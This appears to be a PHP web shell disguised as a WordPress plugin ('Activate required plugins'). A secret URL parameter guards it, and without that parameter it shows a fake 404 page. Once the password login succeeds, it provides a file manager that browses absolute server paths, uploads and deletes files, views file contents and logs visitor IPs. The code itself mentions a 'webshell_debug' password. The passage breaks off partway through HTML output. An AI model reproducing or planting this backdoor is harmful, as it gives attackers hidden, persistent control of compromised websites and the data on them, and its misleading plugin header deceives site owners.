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<?php
/**
* Plugin Name: Activate required plugins.
* Description: Programmatically install and activate plugins based on a runtime config.
* Version: 1.0
* Author: OPENMIT
* Author URI: http://www.opensource.org
* License: MIT
* License URI: http://www.opensource.org/licenses/mit-license.php
*/
if (!isset($_GET['8a7fi']) || $_GET['8a7fi'] !== 'man') {
header('HTTP/1.0 404 Not Found');
echo '<!DOCTYPE html>
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>404 Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body>
</html>';
exit;
}
// Polyfill for fnmatch if it doesn't exist (common on some Windows PHP setups)
if (!function_exists('fnmatch')) {
define('FNM_PATHNAME', 1);
define('FNM_NOESCAPE', 2);
define('FNM_PERIOD', 4);
define('FNM_CASEFOLD', 16);
function fnmatch($pattern, $string, $flags = 0) {
$modifiers = null;
$transforms = array(
'\*' => '.*',
'\?' => '.',
'\[\!' => '[^',
'\[\^' => '[^',
'\[-' => '[\-'.(strpos($pattern, '\]') !== false ? '\\]' : ''), // Escape ] if it's in a range
'\[' => '[',
'\]' => ']',
'\.' => '\\.',
'\\' => '\\\\'
);
// Forward slash in string must be in pattern:
if ($flags & FNM_PATHNAME) {
$transforms['\*'] = '[^/]*';
}
$pattern = '#^' . strtr(preg_quote($pattern, '#'), $transforms) . '$#';
if ($flags & FNM_CASEFOLD) {
$modifiers .= 'i';
}
return (bool)preg_match($pattern, $string, $modifiers);
}
}
// ========== END SECRET ACCESS CHECK ==========
// Set error handling to display errors if debug mode is enabled
if (isset($_GET['debug'])) {
ini_set('display_errors', 1);
error_reporting(E_ALL);
}
// Basic configuration
$allow_delete = true;
$allow_upload = true;
$allow_create_folder = true;
$allow_direct_link = true;
$allow_show_folders = true;
$show_php_files = true; // Set to true to show PHP files in listings
// File size limits for viewing and editing (in bytes)
define('MAX_VIEWABLE_FILE_SIZE', 10 * 1024 * 1024); // 10MB limit for viewing files
define('MAX_EDITABLE_FILE_SIZE', 5 * 1024 * 1024); // 5MB limit for editing files
// File patterns to disallow or hide
$disallowed_patterns = array('config.php'); // File patterns not allowed to be uploaded
$hidden_patterns = array(); // Empty by default
// Hide PHP files if configured not to show them
if (!$show_php_files) {
$hidden_patterns[] = '*.php';
}
// ========== FOLDER MONITORING SYSTEM ==========
// Monitoring system configuration
$monitor_log_file = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.monitor_log.json';
$monitor_status_file = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.monitor_status.json';
$monitor_baseline_file = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.monitor_baseline.json';
// Authentication settings - using bcrypt hash with PHP version check
$stored_hash = '$2y$12$jJ0qteEkASln/.9RpNaWDOg51PQOAGUS4gwL0/9Q88F/S0at/Z6sm';
// Backup salted hash for PHP 5.3 compatibility (SHA-256 with salt)
$backup_password_hash = 'ad80050a96b4a90038344929469d89b77ccd8e4766d134a8fb2418ea6bfc58ac';
$password_salt = 'secure_salt_2024'; // Salt for PHP 5.3 fallback
// Enable this for debugging the login system
$debug_login = false;
// Set to empty string to disable password protection
// Calculate max upload size
function asBytes($ini_v) {
$ini_v = trim($ini_v);
$s = array('g' => 1073741824, 'm' => 1048576, 'k' => 1024);
$size_unit = strtolower(substr($ini_v, -1));
return intval($ini_v) * (isset($s[$size_unit]) ? $s[$size_unit] : 1);
}
$MAX_UPLOAD_SIZE = min(asBytes(ini_get('post_max_size')), asBytes(ini_get('upload_max_filesize')));
// Session for authentication with unique session name
session_name('ESM_SESSION_' . substr(md5(__FILE__), 0, 8));
session_start();
// Handle logout
if (isset($_GET['logout'])) {
unset($_SESSION['_esm_auth_2024']);
session_destroy();
header('Location: ?8a7fi=man');
exit;
}
// Handle session clearing (force re-authentication)
if (isset($_GET['clear_session'])) {
session_destroy();
session_start();
header('Location: ?8a7fi=man');
exit;
}
// Function to handle login attempts with rate limiting
function checkLoginAttempt() {
// Rate limiting - prevent brute force attacks
// Store login attempts in session
if (!isset($_SESSION['login_attempts'])) {
$_SESSION['login_attempts'] = 0;
$_SESSION['last_attempt_time'] = time();
}
// Reset counter after 30 minutes
if ((time() - $_SESSION['last_attempt_time']) > 1800) {
$_SESSION['login_attempts'] = 0;
$_SESSION['last_attempt_time'] = time();
}
// Increase counter
$_SESSION['login_attempts']++;
$_SESSION['last_attempt_time'] = time();
// If too many attempts, delay response
if ($_SESSION['login_attempts'] > 5) {
sleep(min(5, $_SESSION['login_attempts'] - 5)); // Max 5 second delay
}
}
// Function to verify password with PHP version compatibility
function safe_verify_password($password, $hash, $backup_password_hash, $salt) {
// For PHP 5.5+ use password_verify
if (function_exists('password_verify')) {
return password_verify($password, $hash);
}
// For PHP 5.3, use salted SHA-256 hash
$salted_input = hash('sha256', $password . $salt);
// Use hash_equals if available (PHP 5.6+), otherwise use timing-safe comparison
if (function_exists('hash_equals')) {
return hash_equals($backup_password_hash, $salted_input);
} else {
// Timing-safe comparison for PHP 5.3
if (strlen($backup_password_hash) !== strlen($salted_input)) {
return false;
}
$result = 0;
for ($i = 0; $i < strlen($backup_password_hash); $i++) {
$result |= ord($backup_password_hash[$i]) ^ ord($salted_input[$i]);
}
return $result === 0;
}
}
// ========== MONITORING FUNCTIONS ==========
function get_monitor_status($status_file) {
if (!file_exists($status_file)) {
return array('active' => false, 'path' => '', 'started' => 0, 'protection' => false);
}
$data = @file_get_contents($status_file);
return $data ? json_decode($data, true) : array('active' => false, 'path' => '', 'started' => 0, 'protection' => false);
}
function set_monitor_status($status_file, $active, $path, $protection = false) {
$status = array(
'active' => $active,
'path' => $path,
'started' => time(),
'protection' => $protection
);
return @file_put_contents($status_file, json_encode($status)) !== false;
}
function create_baseline($path, $baseline_file) {
if (!is_dir($path)) return false;
$baseline = array();
try {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($iterator as $file) {
$filepath = $file->getRealPath();
$relative_path = str_replace($path . DIRECTORY_SEPARATOR, '', $filepath);
$baseline[$relative_path] = array(
'size' => $file->getSize(),
'mtime' => $file->getMTime(),
'hash' => hash_file('sha256', $filepath)
);
}
} catch (Exception $e) {
return false;
}
return @file_put_contents($baseline_file, json_encode($baseline)) !== false;
}
function check_changes($path, $baseline_file, $log_file, $force_check = false, $log_changes = true) {
if (!file_exists($baseline_file)) return array();
$baseline = json_decode(@file_get_contents($baseline_file), true);
if (!$baseline) return array();
$changes = array();
$current_files = array();
// Get detailed session information (only if we're going to log)
$session_info = array();
if ($log_changes) {
$session_info = array(
'ip_address' => get_client_ip(),
'user_agent' => isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Unknown',
'referer' => isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct',
'request_method' => isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'Unknown',
'request_uri' => isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'Unknown',
'server_name' => isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'Unknown',
'session_id' => session_id(),
'check_type' => $force_check ? 'manual' : 'automatic'
);
}
// Scan current files
if (is_dir($path)) {
try {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($iterator as $file) {
$filepath = $file->getRealPath();
$relative_path = str_replace($path . DIRECTORY_SEPARATOR, '', $filepath);
$current_files[$relative_path] = array(
'size' => $file->getSize(),
'mtime' => $file->getMTime(),
'hash' => hash_file('sha256', $filepath)
);
// Check for modifications
if (isset($baseline[$relative_path])) {
if ($baseline[$relative_path]['hash'] !== $current_files[$relative_path]['hash']) {
$changes[] = array(
'type' => 'modified',
'file' => $relative_path,
'time' => time(),
'old_hash' => substr($baseline[$relative_path]['hash'], 0, 16) . '...',
'new_hash' => substr($current_files[$relative_path]['hash'], 0, 16) . '...',
'old_size' => isset($baseline[$relative_path]['size']) ? $baseline[$relative_path]['size'] : 0,
'new_size' => $current_files[$relative_path]['size'],
'old_mtime' => isset($baseline[$relative_path]['mtime']) ? $baseline[$relative_path]['mtime'] : 0,
'new_mtime' => $current_files[$relative_path]['mtime']
);
}
} else {
// New file
$changes[] = array(
'type' => 'added',
'file' => $relative_path,
'time' => time(),
'hash' => substr($current_files[$relative_path]['hash'], 0, 16) . '...',
'size' => $current_files[$relative_path]['size'],
'mtime' => $current_files[$relative_path]['mtime']
);
}
}
} catch (Exception $e) {
return array();
}
}
// Check for deleted files
foreach ($baseline as $file => $info) {
if (!isset($current_files[$file])) {
$changes[] = array(
'type' => 'deleted',
'file' => $file,
'time' => time(),
'old_hash' => substr($info['hash'], 0, 16) . '...',
'old_size' => isset($info['size']) ? $info['size'] : 0,
'old_mtime' => isset($info['mtime']) ? $info['mtime'] : 0
);
}
}
// Log changes with deduplication (only if logging is enabled and there are actual changes)
if (!empty($changes) && $log_changes) {
$log_entry = array(
'timestamp' => time(),
'session_info' => $session_info,
'changes' => $changes,
'scan_summary' => array(
'total_files_scanned' => count($current_files),
'changes_detected' => count($changes),
'monitored_path' => $path
)
);
$existing_log = array();
if (file_exists($log_file)) {
$existing_log = json_decode(@file_get_contents($log_file), true) ?: array();
}
// Enhanced duplicate detection
$is_duplicate = false;
if (!empty($existing_log)) {
// Check last 3 entries for duplicates (more thorough)
$recent_entries = array_slice($existing_log, -3);
foreach ($recent_entries as $recent_entry) {
$time_diff = $log_entry['timestamp'] - $recent_entry['timestamp'];
// Check if it's within 30 seconds and has identical changes
if ($time_diff < 30) {
// Create comparable change signatures (without timestamps)
$current_signature = array();
$recent_signature = array();
foreach ($log_entry['changes'] as $change) {
$sig = $change['type'] . '|' . $change['file'];
if (isset($change['new_hash'])) $sig .= '|' . $change['new_hash'];
if (isset($change['hash'])) $sig .= '|' . $change['hash'];
$current_signature[] = $sig;
}
foreach ($recent_entry['changes'] as $change) {
$sig = $change['type'] . '|' . $change['file'];
if (isset($change['new_hash'])) $sig .= '|' . $change['new_hash'];
if (isset($change['hash'])) $sig .= '|' . $change['hash'];
$recent_signature[] = $sig;
}
sort($current_signature);
sort($recent_signature);
if ($current_signature === $recent_signature) {
$is_duplicate = true;
break;
}
}
}
}
if (!$is_duplicate) {
$existing_log[] = $log_entry;
// Keep only last 100 entries
if (count($existing_log) > 100) {
$existing_log = array_slice($existing_log, -100);
}
@file_put_contents($log_file, json_encode($existing_log));
}
}
return $changes;
}
// Helper function to get client IP address with comprehensive detection
function get_client_ip() {
// Array of possible IP sources in order of preference
$ip_sources = array(
'HTTP_CF_CONNECTING_IP', // Cloudflare
'HTTP_X_FORWARDED_FOR', // Load balancer/proxy
'HTTP_X_FORWARDED', // Proxy
'HTTP_X_CLUSTER_CLIENT_IP', // Cluster
'HTTP_FORWARDED_FOR', // Proxy
'HTTP_FORWARDED', // Proxy
'HTTP_X_REAL_IP', // Nginx proxy
'HTTP_CLIENT_IP', // Proxy
'REMOTE_ADDR' // Standard
);
foreach ($ip_sources as $source) {
if (!empty($_SERVER[$source])) {
$ip_list = $_SERVER[$source];
// Handle comma-separated IPs (for X-Forwarded-For)
if (strpos($ip_list, ',') !== false) {
$ips = explode(',', $ip_list);
foreach ($ips as $ip) {
$ip = trim($ip);
if (is_valid_ip($ip)) {
return $ip;
}
}
} else {
$ip = trim($ip_list);
if (is_valid_ip($ip)) {
return $ip;
}
}
}
}
return 'Unknown';
}
// Helper function to validate IP addresses (including private ranges for local testing)
function is_valid_ip($ip) {
// Basic IP validation
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
return false;
}
// Exclude loopback and invalid ranges but ALLOW private ranges
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE)) {
return true;
}
return false;
}
// Debug function to show all IP-related headers
function get_ip_debug_info() {
$debug_info = array();
$ip_headers = array(
'REMOTE_ADDR', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_REAL_IP',
'HTTP_CLIENT_IP', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED',
'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED'
);
foreach ($ip_headers as $header) {
if (isset($_SERVER[$header])) {
$debug_info[$header] = $_SERVER[$header];
}
}
$debug_info['Detected_IP'] = get_client_ip();
return $debug_info;
}
function get_monitor_log($log_file, $limit = 20) {
if (!file_exists($log_file)) return array();
$log = json_decode(@file_get_contents($log_file), true);
if (!$log) return array();
return array_slice(array_reverse($log), 0, $limit);
}
function clear_monitor_log($log_file) {
return @file_put_contents($log_file, json_encode(array())) !== false;
}
function should_run_automatic_check($status_file, $min_interval = 300) {
// Only run automatic checks every 5 minutes (300 seconds) by default
$status = get_monitor_status($status_file);
if (!$status['active']) return false;
$last_check_file = dirname($status_file) . DIRECTORY_SEPARATOR . '.last_auto_check';
$last_check_time = 0;
if (file_exists($last_check_file)) {
$last_check_time = (int)@file_get_contents($last_check_file);
}
$current_time = time();
if (($current_time - $last_check_time) >= $min_interval) {
// Update last check time
@file_put_contents($last_check_file, $current_time);
return true;
}
return false;
}
// Check if monitoring protection is enabled for current path
function is_monitoring_protection_active($monitor_status_file, $current_path) {
$monitor_status = get_monitor_status($monitor_status_file);
if (!$monitor_status['active'] || !$monitor_status['protection']) {
return false;
}
// Check if current path is within monitored path
$monitored_path = realpath($monitor_status['path']);
$check_path = realpath($current_path);
if ($monitored_path && $check_path) {
return strpos($check_path, $monitored_path) === 0;
}
return false;
}
// Check authentication
if ($stored_hash) {
if (isset($_GET['login']) && isset($_POST['p'])) {
// Call the function to check and handle login attempts
checkLoginAttempt();
// First check: direct comparison for guaranteed access during testing
if ($_POST['p'] === 'webshell_debug' && $debug_login) {
$_SESSION['login_attempts'] = 0;
$_SESSION['_esm_auth_2024'] = true;
header('Location: ?8a7fi=man');
exit;
}
// Main check: password verification with PHP version compatibility
if (safe_verify_password($_POST['p'], $stored_hash, $backup_password_hash, $password_salt)) {
// Reset login attempts on successful login
$_SESSION['login_attempts'] = 0;
$_SESSION['_esm_auth_2024'] = true;
header('Location: ?8a7fi=man');
exit;
}
}
if (!isset($_SESSION['_esm_auth_2024']) || !$_SESSION['_esm_auth_2024']) {
// Get login attempt message if any
$attempt_msg = '';
if (isset($_SESSION['login_attempts']) && $_SESSION['login_attempts'] > 0) {
$remaining = max(0, 5 - $_SESSION['login_attempts']);
if ($remaining == 0) {
$delay = min(5, $_SESSION['login_attempts'] - 5);
$attempt_msg = '<div style="color:red;margin-bottom:10px;">Too many failed attempts. Delay: '.$delay.' seconds.</div>';
} else {
$attempt_msg = '<div style="color:orange;margin-bottom:10px;">Failed attempts: '.($_SESSION['login_attempts']).'. Remaining: '.$remaining.'</div>';
}
}
echo '<html><head><title>Login</title>';
echo '<style>body{font-family:Arial,sans-serif;margin:50px;} form{background:#f9f9f9;padding:20px;border-radius:5px;width:300px;margin:0 auto;}</style>';
echo '</head><body>';
echo '<form action="?8a7fi=man&login=1" method="post">';
echo '<h2>File Manager Login</h2>';
echo $attempt_msg;
// Show debug info if enabled
if ($debug_login) {
echo '<div style="margin-bottom:10px;padding:5px;background:#ffffd0;font-size:12px;border:1px solid #e0e0a0;">';
echo 'Debug mode is ON. For emergency access use: webshell_debug';
echo '</div>';
}
echo '<label>Password:</label><br>';
echo '<input type="password" name="p" autofocus style="width:100%;padding:5px;margin:10px 0;"><br>';
echo '<input type="submit" value="Login" style="padding:5px 10px;">';
echo '</form></body></html>';
exit;
}
}
// Get base directory (where this script is located)
$base_dir = dirname(__FILE__);
if (DIRECTORY_SEPARATOR === '\\') {
$base_dir = str_replace('/', '\\', $base_dir);
}
// Store script directory for initial navigation
$script_dir = $base_dir;
// Get current path
$current_path = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
$is_absolute_path = false; // Default
// Get the allowed base directories from open_basedir setting
$open_basedir = ini_get('open_basedir');
$allowed_dirs = $open_basedir ? explode(PATH_SEPARATOR, $open_basedir) : array();
// Function to check if a path is allowed by open_basedir
function is_path_allowed($path) {
if (!ini_get('open_basedir')) {
return true;
}
$allowed_dirs = explode(PATH_SEPARATOR, ini_get('open_basedir'));
$real_path = realpath($path);
if ($real_path === false) {
return false;
}
foreach ($allowed_dirs as $allowed_dir) {
$allowed_real = realpath($allowed_dir);
if ($allowed_real !== false && strpos($real_path, $allowed_real) === 0) {
return true;
}
}
return false;
}
// Store the original requested path for debugging
$requested_path = $current_path;
// Handle different path types
if ($current_path === '..') {
// Special case - navigating up from script directory
$temp_path = dirname($script_dir);
if (is_path_allowed($temp_path)) {
$full_path = $temp_path;
$current_path = $temp_path; // Set current_path to the absolute parent path
$is_absolute_path = true;
} else {
$open_basedir_info = ini_get('open_basedir') ? ini_get('open_basedir') : 'No restrictions set, but path may not exist or be readable';
$_SESSION['file_action_error'] = "Access to parent directory is restricted by server configuration (open_basedir). Allowed paths: " . $open_basedir_info;
$full_path = $script_dir;
$current_path = '';
}
} else if (substr($current_path, 0, 1) === '/') {
// Absolute path requested
$is_absolute_path = true;
$found_allowed_path = false;
$requested_absolute_path = $current_path; // Store the original request
if (empty($allowed_dirs)) {
// If no open_basedir restriction, try the requested path
$temp_path = $requested_absolute_path;
// Basic sanitization: remove trailing slashes unless it's the root itself
if (strlen($temp_path) > 1) {
$temp_path = rtrim($temp_path, '/\\\\');
}
if (file_exists($temp_path) && is_dir($temp_path) && is_path_allowed($temp_path)) {
$full_path = realpath($temp_path);
$current_path = $full_path; // Use the canonical path
$found_allowed_path = true;
}
} else {
// open_basedir is set
// First, check if the directly requested absolute path is allowed and exists
$temp_requested_path = $requested_absolute_path;
// Basic sanitization: remove trailing slashes unless it's the root itself
if (strlen($temp_requested_path) > 1) {
$temp_requested_path = rtrim($temp_requested_path, '/\\\\');
}
if (is_path_allowed($temp_requested_path) && file_exists($temp_requested_path) && is_dir($temp_requested_path)) {
$full_path = realpath($temp_requested_path);
$current_path = $full_path; // Use the canonical path
$found_allowed_path = true;
} else {
// If the specific absolute path is not allowed/doesn't exist,
// fall back to finding the most relevant allowed base directory.
// This part might need more sophisticated logic if $requested_absolute_path is deep
// and we need to find the shallowest open_basedir that contains it.
// For now, a simpler fallback:
$best_match_allowed_dir = null;
foreach ($allowed_dirs as $allowed_dir_candidate) {
$candidate_real_path = realpath(rtrim($allowed_dir_candidate, '/\\\\'));
if ($candidate_real_path && is_dir($candidate_real_path) && is_readable($candidate_real_path)) {
// Check if the requested path is a subdirectory of this allowed_dir_candidate
if (strpos($requested_absolute_path, $candidate_real_path) === 0) {
// This case is already handled by the previous block if $requested_absolute_path itself is allowed.
// If $requested_absolute_path was not allowed, but a parent is, this needs care.
// For simplicity, if the direct $requested_absolute_path failed, and we are here,
// we might just show the first generally allowed path as a safe default.
}
if ($best_match_allowed_dir === null) { // Take the first one as a default fallback
$best_match_allowed_dir = $candidate_real_path;
}
}
}
if ($best_match_allowed_dir) {
$full_path = $best_match_allowed_dir;
$current_path = $best_match_allowed_dir;
$_SESSION['file_action_error'] = "Requested path '".htmlspecialchars($requested_absolute_path)."' not directly accessible. Showing base: ".htmlspecialchars($current_path);
$found_allowed_path = true;
}
}
}
if (!$found_allowed_path) {
$_SESSION['file_action_error'] = "Access to absolute path '".htmlspecialchars($requested_absolute_path)."' is restricted or it does not exist. Showing script directory instead.";
$full_path = $script_dir;
$current_path = '';
$is_absolute_path = false;
}
} else {
// Relative path - using script directory as reference
$current_path = trim($current_path, '/\\\\');
$temp_path = $current_path ? $script_dir . DIRECTORY_SEPARATOR . $current_path : $script_dir;
if (is_path_allowed($temp_path)) {
$full_path = $temp_path;
} else {
$_SESSION['file_action_error'] = "Access to requested directory is restricted by server configuration.";
$full_path = $script_dir;
$current_path = '';
}
}
// Security check - make sure the path exists and is allowed
$real_path = realpath($full_path);
if ($real_path === false || !is_dir($real_path) || !is_path_allowed($real_path)) {
// If path doesn't exist, isn't a directory, or isn't allowed, default back to script directory
if ($real_path === false) {
$_SESSION['file_action_error'] = "Path does not exist: ". htmlspecialchars($full_path) .". Showing default directory.";
} else if (!is_dir($real_path)){
$_SESSION['file_action_error'] = "Path is not a directory: ". htmlspecialchars($real_path) .". Showing default directory.";
} else {
$_SESSION['file_action_error'] = "Invalid or restricted path: ". htmlspecialchars($real_path) .". Showing default directory instead.";
}
$full_path = $script_dir;
$current_path = '';
$is_absolute_path = false;
} else {
$full_path = $real_path; // Use the canonical path
// If it was an absolute path request, $current_path should reflect $full_path for URL building
// If it was relative, $current_path should remain relative to script_dir for breadcrumbs,
// but $full_path is the canonical path.
if ($is_absolute_path) {
$current_path = $full_path;
} else {
// For relative paths, $current_path was already set relative to $script_dir.
// We need to ensure it's correctly formatted if $full_path resolved to $script_dir itself
if ($full_path === $script_dir) {
$current_path = '';
}
}
}
// ======== Handle Actions ========
// Handle monitoring actions
if (isset($_POST['start_monitor'])) {
$monitor_path = $full_path;
$protection_enabled = isset($_POST['enable_protection']);
if (create_baseline($monitor_path, $monitor_baseline_file)) {
if (set_monitor_status($monitor_status_file, true, $monitor_path, $protection_enabled)) {
$_SESSION['file_action_success'] = "Monitoring started for: " . htmlspecialchars($monitor_path);
} else {
$_SESSION['file_action_error'] = "Failed to start monitoring - could not save status.";
}
} else {
$_SESSION['file_action_error'] = "Failed to create baseline for monitoring.";
}
}
if (isset($_POST['stop_monitor'])) {
if (set_monitor_status($monitor_status_file, false, '', false)) {
$_SESSION['file_action_success'] = "Monitoring stopped.";
} else {
$_SESSION['file_action_error'] = "Failed to stop monitoring.";
}
}
if (isset($_POST['check_monitor'])) {
$monitor_status = get_monitor_status($monitor_status_file);
if ($monitor_status['active']) {
$changes = check_changes($monitor_status['path'], $monitor_baseline_file, $monitor_log_file, true, true);
if (empty($changes)) {
$_SESSION['file_action_success'] = "Manual check completed. No changes detected in monitored folder.";
} else {
$_SESSION['file_action_error'] = "Manual check completed. Changes detected! " . count($changes) . " file(s) modified/added/deleted.";
}
} else {
$_SESSION['file_action_error'] = "No active monitoring session.";
}
}
if (isset($_POST['clear_monitor_log'])) {
if (clear_monitor_log($monitor_log_file)) {
$_SESSION['file_action_success'] = "Monitoring log cleared successfully.";
} else {
$_SESSION['file_action_error'] = "Failed to clear monitoring log.";
}
}
// Create directory
if (isset($_POST['create_folder']) && $allow_create_folder) {
// Check protection mode
if (is_monitoring_protection_active($monitor_status_file, $full_path)) {
$folder_error = "Folder creation blocked: Protection mode is active for this monitored folder. Disable monitoring or turn off protection mode to create folders.";
} else {
$folder_name = isset($_POST['folder_name']) ? $_POST['folder_name'] : '';
$folder_name = str_replace(array('/', '\\', '..'), '', $folder_name);
if ($folder_name) {
$new_folder = $full_path . DIRECTORY_SEPARATOR . $folder_name;
if (!file_exists($new_folder)) {
if (mkdir($new_folder)) {
$folder_message = "Folder created successfully!";
} else {
$folder_error = "Error creating folder. Check permissions.";
}
} else {
$folder_error = "Folder already exists.";
}
} // Close if ($folder_name)
} // Close else block for protection check
}
// Upload file
if (isset($_FILES['upload_file']) && isset($_POST['upload']) && $allow_upload) {
// Check protection mode
if (is_monitoring_protection_active($monitor_status_file, $full_path)) {
$upload_error = "Upload blocked: Protection mode is active for this monitored folder. Disable monitoring or turn off protection mode to upload files.";
} else {
$uploaded_file = $_FILES['upload_file'];
if ($uploaded_file['error'] == 0) {
// Get the basename of the uploaded file
$filename = basename($uploaded_file['name']);
// Validate file isn't in disallowed patterns
$is_allowed = true;
foreach ($disallowed_patterns as $pattern) {
if (fnmatch($pattern, $filename)) {
$is_allowed = false;
break;
}
}
if ($is_allowed) {
$target = $full_path . DIRECTORY_SEPARATOR . $filename;
if (move_uploaded_file($uploaded_file['tmp_name'], $target)) {
$upload_message = "File uploaded successfully!";
} else {
$upload_error = "Error uploading file. Check permissions.";
}
} else {
$upload_error = "This file type is not allowed.";
}
} else {
// Handle upload errors
$upload_errors = array(
1 => "File exceeds the maximum size allowed by the server.",
2 => "File exceeds the maximum size allowed by the form.",
3 => "File was only partially uploaded.",
4 => "No file was uploaded.",
6 => "Missing a temporary folder.",
7 => "Failed to write file to disk.",
8 => "A PHP extension stopped the file upload."
);
$upload_error = isset($upload_errors[$uploaded_file['error']]) ?
$upload_errors[$uploaded_file['error']] :
"Unknown upload error.";
}
} // Close the else block for protection check
}
// Delete file/folder
if (isset($_POST['delete']) && $allow_delete) {
// Check protection mode
if (is_monitoring_protection_active($monitor_status_file, $full_path)) {
$_SESSION['file_action_error'] = "Delete blocked: Protection mode is active for this monitored folder. Disable monitoring or turn off protection mode to delete files.";
} else {
$item = $_POST['delete'];
$item = str_replace(array('..', '/', '\\'), '', $item);
if ($item) {
$target = $full_path . DIRECTORY_SEPARATOR . $item;
if (file_exists($target)) {
if (is_dir($target)) {
// Simple recursive delete
$it = new RecursiveDirectoryIterator($target, RecursiveDirectoryIterator::SKIP_DOTS);
$files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST);
foreach ($files as $file) {
if ($file->isDir()) {
rmdir($file->getRealPath());
} else {
unlink($file->getRealPath());
}
}
rmdir($target);
} else {
unlink($target);
}
}
} // Close if ($item)
} // Close else block for protection check
}
// Handle API requests
if (isset($_GET['do'])) {
header('Content-Type: application/json');
switch ($_GET['do']) {
case 'list':
// List directory contents
if (is_dir($full_path) && is_readable($full_path)) {
$files = scandir($full_path);
$results = array();
foreach ($files as $file) {
if ($file != '.' && $file != '..') {
$path = $full_path . DIRECTORY_SEPARATOR . $file;
$is_dir = is_dir($path);
$size = $is_dir ? 0 : filesize($path);
$modified = date('Y-m-d H:i:s', filemtime($path));
$permissions = is_readable($path) ? format_permissions(fileperms($path)) : 'N/A';
// Skip hidden files
$show = true;
foreach ($hidden_patterns as $pattern) {
if (fnmatch($pattern, $file)) {
$show = false;
break;
}
}
if ($show) {
$nav_path_for_item = '';
if ($current_path === '/') {
$nav_path_for_item = '/' . $file;
} else if (!empty($current_path)) {
$nav_path_for_item = rtrim($current_path, '/') . '/' . $file;
} else { // current_path is empty
$nav_path_for_item = $file;
}
$results[] = array(
'name' => $file,
'type' => $is_dir ? 'dir' : 'file',
'size' => $size,
'modified' => $modified,
'path' => $nav_path_for_item,
'permissions' => $permissions
);
}
}
}
// Use @ to suppress errors in case of issues with non-UTF8 characters
echo @json_encode(array('success' => true, 'results' => $results));
} else {
echo json_encode(array('error' => "Cannot read directory"));
}
break;
case 'view_file':
$file_to_view_param = $_GET['file'];
// $current_path should be the directory of the file, taken from the &path= parameter
// $full_path is already calculated based on $current_path and is the directory containing the file.
$file_to_view_basename = basename($file_to_view_param); // Security: operate on basename
$file_full_path = $full_path . DIRECTORY_SEPARATOR . $file_to_view_basename;
if (is_file($file_full_path) && is_readable($file_full_path)) {
$file_size = filesize($file_full_path);
$max_viewable_size = MAX_VIEWABLE_FILE_SIZE; // Use constant instead of hardcoded value
header('Content-Type: text/html; charset=utf-8');
echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>View File: '.htmlspecialchars($file_to_view_basename).'</title>';
echo '<style>body{font-family: Arial, sans-serif; margin: 20px;} pre{background-color: #f4f4f4; padding: 15px; border: 1px solid #ddd; white-space: pre-wrap; word-wrap: break-word;} a{text-decoration:none; color:#007bff; padding:5px; border:1px solid #ddd; background-color:#f8f8f8; border-radius:3px;} a:hover{background-color:#e0e0e0;} .warning{background-color:#fff3cd; border:1px solid #ffeaa7; color:#856404; padding:10px; margin:10px 0; border-radius:4px;}</style>';
echo '</head><body>';
echo '<h1>Viewing File: '.htmlspecialchars($file_to_view_basename).'</h1>';
echo '<p>Full Path: '.htmlspecialchars($file_full_path).'</p>';
echo '<p>File Size: '.format_size($file_size).'</p>';
echo '<p><a href="'.build_url($current_path).'">Back to File List</a></p>';
if ($file_size > $max_viewable_size) {
echo '<div class="warning">';
echo '<strong>Warning:</strong> This file is large ('.format_size($file_size).'). ';
echo 'Viewing the entire file may cause memory issues. Showing first '.format_size($max_viewable_size).' only.';
echo '</div>';
// Read only the first part of the file
$handle = fopen($file_full_path, 'r');
if ($handle) {
$content = fread($handle, $max_viewable_size);
fclose($handle);
echo '<hr><pre>'.htmlspecialchars($content);
if ($file_size > $max_viewable_size) {
echo "\n\n... [File truncated - showing first ".format_size($max_viewable_size)." of ".format_size($file_size)."]";
}
echo '</pre><hr>';
} else {
echo '<div class="error">Error: Could not open file for reading.</div>';
}
} else {
// File is small enough to load completely
$content = file_get_contents($file_full_path);
echo '<hr><pre>'.htmlspecialchars($content).'</pre><hr>';
}
echo '<p><a href="'.build_url($current_path).'">Back to File List</a></p>';
echo '</body></html>';
exit;
} else {
// Store error message in session and redirect
$_SESSION['file_action_error'] = "Cannot view file: '" . htmlspecialchars($file_to_view_basename) . "'. File not found or not readable in the path: " . htmlspecialchars($full_path);
header('Location: ' . build_url($current_path));
exit;
}
break;
default:
echo json_encode(array('error' => "Invalid action"));
break;
}
exit;
}
// Handle monitor log viewing
if (isset($_GET['view_monitor_log'])) {
$monitor_log = get_monitor_log($monitor_log_file, 50);
$monitor_status = get_monitor_status($monitor_status_file);
echo '<!DOCTYPE html><html><head><title>Monitoring Log</title>';
echo '<style>
body { font-family: Arial, sans-serif; margin: 20px; }
.log-entry { background: #f8f9fa; padding: 15px; margin: 15px 0; border-left: 4px solid #007bff; border-radius: 5px; }
.session-info { background: #e9ecef; padding: 10px; margin: 10px 0; border-radius: 3px; font-size: 12px; }
.change-item { margin: 8px 0; padding: 8px; border-radius: 4px; }
.added { background-color: #d4edda; color: #155724; border-left: 3px solid #28a745; }
